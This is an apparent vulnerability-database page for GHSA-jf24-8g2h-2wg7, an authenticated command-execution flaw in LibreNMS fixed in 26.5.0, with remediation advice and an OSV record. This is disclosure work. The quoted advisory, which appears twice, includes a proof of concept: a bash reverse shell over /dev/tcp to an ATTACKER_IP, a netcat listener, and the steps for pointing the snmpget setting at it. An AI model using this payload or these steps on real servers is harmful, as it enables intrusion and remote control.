GHSA-jf24-8g2h-2wg7: Librenms/librenms Remote Code Execution Vulnerability

MODERATE
CWE-78 CWE-77
Published
Advisory Summary

GHSA-jf24-8g2h-2wg7 is a MODERATE remote code execution vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Librenms/librenms libraries in the Packagist ecosystem. The issue involves librenms vulnerable to remote code execution via aboutcontroller. Remediation is available by upgrading affected packages to version 26.5.0.

GHSA-jf24-8g2h-2wg7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-jf24-8g2h-2wg7
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Librenms/librenms
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix GHSA-jf24-8g2h-2wg7

To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

librenms/librenms fixed: 26.5.0
Upgrade librenms/librenms to 26.5.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for librenms/librenms

How to Check if You Are Affected

To determine whether your application is affected by GHSA-jf24-8g2h-2wg7, inspect your project dependencies for Librenms/librenms:

inspect dependencies for librenms/librenms

Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 26.5.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Remote Code Execution via AboutController in LibreNMS ## Summary A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access. **Severity:** High (CVSS 7.2) **Attack Vector:** Network **Privileges Required:** High (Administrator) **User Interaction:** None **Impact:** Complete system compromise with web server privileges --- ## Details ### Vulnerable Code **File:** `app/Http/Controllers/AboutController.php` **Line:** 85 ```php 'version_netsnmp' => str_replace('version: ', '', rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))), ``` ### Root Cause The AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `&`, `'`, `"`, `>`, `<`, `(`), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system. ### Configuration Access The `snmpget` configuration can be modified through the web interface: - **Endpoint:** `PUT /settings/snmpget` - **Controller:** `SettingsController::update()` - **Required Privileges:** Administrator - **Config Definition:** `resources/definitions/config_definitions.json` ```json "snmpget": { "default": "/usr/bin/snmpget", "type": "executable" } ``` ### Validation Analysis The `sanitizePath()` function in `DynamicConfigItem.php`: ```php // LibreNMS/Util/DynamicConfigItem.php:277-284 private function sanitizePath(string $path): string|false { if (preg_match('/[`;#$|&\'"><(]/', $path)) { return false; } return realpath($path); } // LibreNMS/Util/DynamicConfigItem.php:107-110 } elseif ($this->type === 'executable') { $value == $this->sanitizePath($value); return $value !== false && is_file($value) && is_executable($value); } ``` ### Attack Scenarios | Scenario | Description | |----------|-------------| | **Insider Threat** | Internal admin creates malicious file → updates config → RCE | | **Privilege Escalation** | Attacker with limited access → creates file → full RCE | | **Supply Chain** | Malicious package installs binary → admin uses it → RCE | --- ## PoC ### Prerequisites - Valid administrator credentials for LibreNMS web interface - Ability to create a file on the target system (via prior access, SSH, or another vulnerability) ### Proof of Concept - Reverse Shell #### Step 1: Create Malicious Executable Create a reverse shell payload that connects back to the attacker: ```bash ATTACKER_IP="172.16.69.144" ATTACKER_PORT=9001 bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null ``` Save this as `/tmp/rev_shell.sh` and make it executable: ```bash chmod +x /tmp/rev_shell.sh ``` #### Step 2: Setup Netcat Listener On your attacking machine, start a netcat listener: ```bash nc -lvnp 9001 ``` #### Step 3: Update Configuration via Web Interface Login to LibreNMS web interface as administrator and navigate to: - **Settings** → **External** → **Binaries** - Locate **snmpget** configuration - Update the value to: `/tmp/rev_shell.sh` - Click **Save** <img width="1919" height="848" alt="image" src="https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3" /> #### Step 4: Trigger RCE Access the `/about` endpoint to execute the malicious binary: <img width="1861" height="957" alt="image" src="https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b" /> --- ## Impact Summary | Category | Level | Description | |----------|-------|-------------| | **Confidentiality** | HIGH | Read config files, database credentials, SSH keys | | **Integrity** | HIGH | Create webshells, backdoors, modify code | | **Availability** | HIGH | Disrupt services, delete data, stop monitoring | | **Scope** | CHANGED | Compromise extends beyond application to system | ### Who Is Impacted - LibreNMS installations where attacker has admin credentials AND file system access - Organizations using LibreNMS for network monitoring - Systems monitored by LibreNMS (lateral movement risk) --- ## Remediation Replace `shell_exec()` with Symfony Process component: ```php // BEFORE (vulnerable): shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1') // AFTER (safe): $process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']); $process->run(); ```

GHSA-jf24-8g2h-2wg7 Affected Librenms/librenms Versions

1 component(s)
Fixed Versions:
26.5.0
Product / Package Ecosystem Affected Versions Fixed Version
librenms/librenms
Packagist
< 26.5.0
26.5.0

References

Frequently Asked Questions

What is GHSA-jf24-8g2h-2wg7?
GHSA-jf24-8g2h-2wg7 is a security vulnerability in Librenms/librenms involving LibreNMS Vulnerable to Remote Code Execution via AboutController under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Librenms/librenms versions are affected?
Affected versions include releases prior to 26.5.0 across affected packages: librenms/librenms.
What version fixes GHSA-jf24-8g2h-2wg7?
Upgrading to 26.5.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is librenms/librenms affected?
Yes, librenms/librenms is affected in releases prior to 26.5.0. Upgrade your dependency to 26.5.0 or later.
What CWE is associated with GHSA-jf24-8g2h-2wg7?
GHSA-jf24-8g2h-2wg7 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Packagist dependencies for GHSA-jf24-8g2h-2wg7?
Run the dependency tree command: 'inspect dependencies for librenms/librenms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jf24-8g2h-2wg7",
  "modified" : "2026-08-18T21:17:11Z",
  "published" : "2026-08-18T21:17:11Z",
  "aliases" : [ ],
  "summary" : "LibreNMS Vulnerable to Remote Code Execution via AboutController",
  "details" : "# Remote Code Execution via AboutController in LibreNMS\n\n## Summary\n\nA Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.\n\n**Severity:** High (CVSS 7.2)\n**Attack Vector:** Network\n**Privileges Required:** High (Administrator)\n**User Interaction:** None\n**Impact:** Complete system compromise with web server privileges\n\n---\n\n## Details\n\n### Vulnerable Code\n\n**File:** `app/Http/Controllers/AboutController.php`\n**Line:** 85\n\n```php\n'version_netsnmp' => str_replace('version: ', '', \n    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),\n```\n\n### Root Cause\n\nThe AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `&`, `'`, `\"`, `>`, `<`, `(`), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.\n\n### Configuration Access\n\nThe `snmpget` configuration can be modified through the web interface:\n\n- **Endpoint:** `PUT /settings/snmpget`\n- **Controller:** `SettingsController::update()`\n- **Required Privileges:** Administrator\n- **Config Definition:** `resources/definitions/config_definitions.json`\n\n```json\n\"snmpget\": {\n    \"default\": \"/usr/bin/snmpget\",\n    \"type\": \"executable\"\n}\n```\n\n### Validation Analysis\n\nThe `sanitizePath()` function in `DynamicConfigItem.php`:\n\n```php\n// LibreNMS/Util/DynamicConfigItem.php:277-284\nprivate function sanitizePath(string $path): string|false\n{\n    if (preg_match('/[`;#$|&\\'\"><(]/', $path)) {\n        return false;\n    }\n    return realpath($path);\n}\n\n// LibreNMS/Util/DynamicConfigItem.php:107-110\n} elseif ($this->type === 'executable') {\n    $value == $this->sanitizePath($value);\n    return $value !== false && is_file($value) && is_executable($value);\n}\n```\n### Attack Scenarios\n\n| Scenario | Description |\n|----------|-------------|\n| **Insider Threat** | Internal admin creates malicious file → updates config → RCE |\n| **Privilege Escalation** | Attacker with limited access → creates file → full RCE |\n| **Supply Chain** | Malicious package installs binary → admin uses it → RCE |\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Valid administrator credentials for LibreNMS web interface\n- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)\n\n### Proof of Concept - Reverse Shell\n\n#### Step 1: Create Malicious Executable\n\nCreate a reverse shell payload that connects back to the attacker:\n\n```bash\nATTACKER_IP=\"172.16.69.144\"\nATTACKER_PORT=9001\n\nbash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null\n```\n\nSave this as `/tmp/rev_shell.sh` and make it executable:\n```bash\nchmod +x /tmp/rev_shell.sh\n```\n\n#### Step 2: Setup Netcat Listener\n\nOn your attacking machine, start a netcat listener:\n\n```bash\nnc -lvnp 9001\n```\n\n#### Step 3: Update Configuration via Web Interface\n\nLogin to LibreNMS web interface as administrator and navigate to:\n- **Settings** → **External** → **Binaries**\n- Locate **snmpget** configuration\n- Update the value to: `/tmp/rev_shell.sh`\n- Click **Save**\n\n<img width=\"1919\" height=\"848\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3\" />\n\n#### Step 4: Trigger RCE\n\nAccess the `/about` endpoint to execute the malicious binary:\n\n<img width=\"1861\" height=\"957\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b\" />\n\n---\n\n## Impact Summary\n\n| Category | Level | Description |\n|----------|-------|-------------|\n| **Confidentiality** | HIGH | Read config files, database credentials, SSH keys |\n| **Integrity** | HIGH | Create webshells, backdoors, modify code |\n| **Availability** | HIGH | Disrupt services, delete data, stop monitoring |\n| **Scope** | CHANGED | Compromise extends beyond application to system |\n\n### Who Is Impacted\n- LibreNMS installations where attacker has admin credentials AND file system access\n- Organizations using LibreNMS for network monitoring\n- Systems monitored by LibreNMS (lateral movement risk)\n\n\n---\n\n## Remediation\n\nReplace `shell_exec()` with Symfony Process component:\n\n```php\n// BEFORE (vulnerable):\nshell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')\n\n// AFTER (safe):\n$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);\n$process->run();\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "librenms/librenms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "26.5.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/security/advisories/GHSA-jf24-8g2h-2wg7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/librenms/librenms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/librenms/librenms/releases/tag/26.5.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77", "CWE-78" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-18T21:17:11Z",
    "nvd_published_at" : null
  }
}